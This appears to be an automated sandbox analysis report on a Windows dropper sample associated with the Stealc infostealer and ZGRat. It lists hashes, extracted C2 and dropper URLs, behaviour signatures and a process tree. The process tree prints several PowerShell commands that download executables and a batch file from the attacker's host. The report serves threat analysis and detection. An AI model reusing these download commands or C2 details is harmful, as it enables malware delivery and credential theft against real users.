Analysis

  • max time kernel
    135s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    10-05-2024 08:26

General

  • Target

    3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe

  • Size

    49KB

  • MD5

    213c0265511727869c959abd24ea3677

  • SHA1

    22ea6fe23eeb57d0048d1b0e2a826dd66c6969d9

  • SHA256

    3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7

  • SHA512

    bfa4d229ade2e47d91f3fb761e68f727aab86980a2697cb06955324e9b61b384569a285edfaa1d1dd7aea95e24d171a770a4f573a19ec795325c68250720f41e

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpxFI+PlZ:Xfi3k+oWDBDh1duFpkWlZ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 12 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
    "C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe"
    1⤵
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2380
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsy501.tmp\est.bat"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1776
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2068
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1436
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2744
        • C:\Users\Admin\AppData\Local\Temp\u248.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u248.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1200
        • C:\Users\Admin\AppData\Local\Temp\u248.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u248.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:1588
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1184
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1972

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

    Filesize

    68KB

    MD5

    29f65ba8e88c063813cc50a4ea544e93

    SHA1

    05a7040d5c127e68c25d81cc51271ffb8bef3568

    SHA256

    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

    SHA512

    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

    Filesize

    1KB

    MD5

    a266bb7dcc38a562631361bbf61dd11b

    SHA1

    3b1efd3a66ea28b16697394703a72ca340a05bd5

    SHA256

    df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

    SHA512

    0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    6723f538befe59f54c68f1312a0d0635

    SHA1

    54a3c0849273136209ffa4bddf800009b863ba44

    SHA256

    e5f1ef2e64c858dc470a20e9f18872a12f458739a743e2a5e38663fc26505bab

    SHA512

    6f265235c85e1168a699f2390935109fab796235bdc286e398de60e81f945064afc7b277a1bc727054ebaec9b0447ba33b77217e873f4873c92856187523203e

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

    Filesize

    242B

    MD5

    44e9e1d6dc80c5b5e584d3aa577be321

    SHA1

    5e9d1bfb2808e1e01321061c76bcf9d9a4540175

    SHA256

    ed6c026c430b927ac595f4332ab753a8c992b94acb342f4ee69e6ad5c1aa42a7

    SHA512

    92ccb6aff668e561e24afc455f511fc4225b022d020b0aae60bbd08a9912b861811074e3e2266945153f442758fe9a3656013fd1c1bd46dc5d0cd6b077f00620

  • C:\Users\Admin\AppData\Local\Microsoft\ApplicationInsights\a156d2ee87eeb3012aacff4fcc5518f7fa0b2caa0b97ad5a5e46c2e4fdf8c5f4\897a5d602c274023b1e7209836972adc.tmp

    Filesize

    1KB

    MD5

    850578514eb2d824a4b75cd1cd735ec5

    SHA1

    4f8b603a7da7363ccaae51801e11f5441b0041fc

    SHA256

    30ee1b565eb6cad8e8435e4b96be9f5cfb1015c476bd63f5290708e47542d85b

    SHA512

    b7a691722859f212621b11cb9bd4725305a4aed7d03f455efac96122acb5abd3351ba7a43e7b1a67f4793edcdfed109bed5417bb9d8d00a50386148af7b8cd5e

  • C:\Users\Admin\AppData\Local\Temp\Tar989.tmp

    Filesize

    177KB

    MD5

    435a9ac180383f9fa094131b173a2f7b

    SHA1

    76944ea657a9db94f9a4bef38f88c46ed4166983

    SHA256

    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

    SHA512

    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

  • C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

    Filesize

    2KB

    MD5

    a10db157f0005ee9d0605ed50bb68254

    SHA1

    c1c5b90972786614bee58c843aa454ace925ebbc

    SHA256

    59769261cfa25f8bb730bc723e28c2bf640275f070ed3661a25f98b4925aec05

    SHA512

    a661d49b1f895a2a480252c8fc7b34c5ef670eb70071b11baf3ad767f49f5a0c7ac305fa2d14ac8c2e557c60b26559d07ff4aa5f7cc37ad906b3c431b0e2726c

  • C:\Users\Admin\AppData\Local\Temp\nsy501.tmp\est.bat

    Filesize

    735B

    MD5

    f32d05160acf8325e9a09f09f80d16f4

    SHA1

    46e159b71e6ef99076c4002e1fda134e1d0a86c9

    SHA256

    da8f4f45b105538f0063ece220b69455b15c8e680099c02221c093ecb794ae37

    SHA512

    147c870edd09fa3f6cd93caae809b5d66fecc759e3cfee4e47dc487786edc760989fdb23310b4284e63871fe1b1d805e949601f54bfc93ff80e2e097a989879b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    c15581f15cb485ebf003a522551d94f4

    SHA1

    4dbf12f7073afb8d68788c9c356904fd81be38fa

    SHA256

    95983ad2acc6588efab96c1e84c957e546803f07c261688ee594a47dd9de9a01

    SHA512

    9d203a279b97a777f8eb1640fb4142a4d7f57d2a62b49e1358717f6bc254b5a7b2bcbaf552f3c682183993490b6904d8a09caa00e6b059fccd08a855d292c286

  • \ProgramData\mozglue.dll

    Filesize

    593KB

    MD5

    c8fd9be83bc728cc04beffafc2907fe9

    SHA1

    95ab9f701e0024cedfbd312bcfe4e726744c4f2e

    SHA256

    ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

    SHA512

    fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

  • \ProgramData\nss3.dll

    Filesize

    2.0MB

    MD5

    1cc453cdf74f31e4d913ff9c10acdde2

    SHA1

    6e85eae544d6e965f15fa5c39700fa7202f3aafe

    SHA256

    ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

    SHA512

    dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

  • \Users\Admin\AppData\Local\Temp\i1.exe

    Filesize

    372KB

    MD5

    310310bb16aa8aa907755ccf941932da

    SHA1

    875575b9a129cc000ecd7cf746946c52493be93f

    SHA256

    7ceec2cc762930cc62d97a10cfbe8fb4e14070847fdfac1e6ba3aa7e022f7d78

    SHA512

    57ef834e7df28be011c4e047ce1ac1ec499da4cb3d1793370a9382380b649a1855834009c2144b2418ef5e4ae4c7d3d59781407ced5be28389dbc17a44ca584f

  • \Users\Admin\AppData\Local\Temp\nsy501.tmp\INetC.dll

    Filesize

    25KB

    MD5

    40d7eca32b2f4d29db98715dd45bfac5

    SHA1

    124df3f617f562e46095776454e1c0c7bb791cc7

    SHA256

    85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

    SHA512

    5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

  • \Users\Admin\AppData\Local\Temp\u248.0.exe

    Filesize

    230KB

    MD5

    adaa7779ccd1879d9466706724ca2974

    SHA1

    af546b538b5362ee19131e8d30b633c817417d15

    SHA256

    7109bdc186a84c29affbe2882b747b8c32587ce4e8d4b39e770faa06d94431d8

    SHA512

    96fa1c074b4f268393f17b400711898178ce8479272d5b6ca1405568dbe63cc618b46bfb5b80a8b97a7a796f6d4b60c3727beb2b2a13d7e749b3746b736bff87

  • \Users\Admin\AppData\Local\Temp\u248.1.exe

    Filesize

    4.6MB

    MD5

    397926927bca55be4a77839b1c44de6e

    SHA1

    e10f3434ef3021c399dbba047832f02b3c898dbd

    SHA256

    4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

    SHA512

    cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

  • memory/1184-318-0x00000000009F0000-0x0000000000A00000-memory.dmp

    Filesize

    64KB

  • memory/1184-333-0x0000000000410000-0x000000000041A000-memory.dmp

    Filesize

    40KB

  • memory/1184-316-0x0000000001230000-0x0000000004A64000-memory.dmp

    Filesize

    56.2MB

  • memory/1184-317-0x000000001EE20000-0x000000001EF2A000-memory.dmp

    Filesize

    1.0MB

  • memory/1184-370-0x0000000000410000-0x000000000041A000-memory.dmp

    Filesize

    40KB

  • memory/1184-319-0x0000000000AC0000-0x0000000000ACC000-memory.dmp

    Filesize

    48KB

  • memory/1184-320-0x0000000000A00000-0x0000000000A14000-memory.dmp

    Filesize

    80KB

  • memory/1184-321-0x000000001E3F0000-0x000000001E414000-memory.dmp

    Filesize

    144KB

  • memory/1184-323-0x000000001E910000-0x000000001E91A000-memory.dmp

    Filesize

    40KB

  • memory/1184-324-0x000000001E930000-0x000000001E95A000-memory.dmp

    Filesize

    168KB

  • memory/1184-325-0x000000001EB60000-0x000000001EC12000-memory.dmp

    Filesize

    712KB

  • memory/1184-326-0x00000000003F0000-0x00000000003FA000-memory.dmp

    Filesize

    40KB

  • memory/1184-330-0x000000001FB20000-0x000000001FE20000-memory.dmp

    Filesize

    3.0MB

  • memory/1184-369-0x0000000000410000-0x000000000041A000-memory.dmp

    Filesize

    40KB

  • memory/1184-332-0x0000000000410000-0x000000000041A000-memory.dmp

    Filesize

    40KB

  • memory/1184-334-0x0000000000AB0000-0x0000000000ABA000-memory.dmp

    Filesize

    40KB

  • memory/1184-335-0x000000001DEE0000-0x000000001DF42000-memory.dmp

    Filesize

    392KB

  • memory/1184-336-0x0000000000BA0000-0x0000000000BC2000-memory.dmp

    Filesize

    136KB

  • memory/1184-339-0x000000001DFC0000-0x000000001DFCC000-memory.dmp

    Filesize

    48KB

  • memory/1200-233-0x0000000061E00000-0x0000000061EF3000-memory.dmp

    Filesize

    972KB

  • memory/1200-368-0x0000000000400000-0x0000000002575000-memory.dmp

    Filesize

    33.5MB

  • memory/1200-312-0x0000000000400000-0x0000000002575000-memory.dmp

    Filesize

    33.5MB

  • memory/1200-384-0x0000000000400000-0x0000000002575000-memory.dmp

    Filesize

    33.5MB

  • memory/1588-315-0x0000000000400000-0x00000000008AD000-memory.dmp

    Filesize

    4.7MB

  • memory/2068-181-0x0000000002A40000-0x0000000002A80000-memory.dmp

    Filesize

    256KB

  • memory/2744-270-0x0000000000400000-0x0000000002599000-memory.dmp

    Filesize

    33.6MB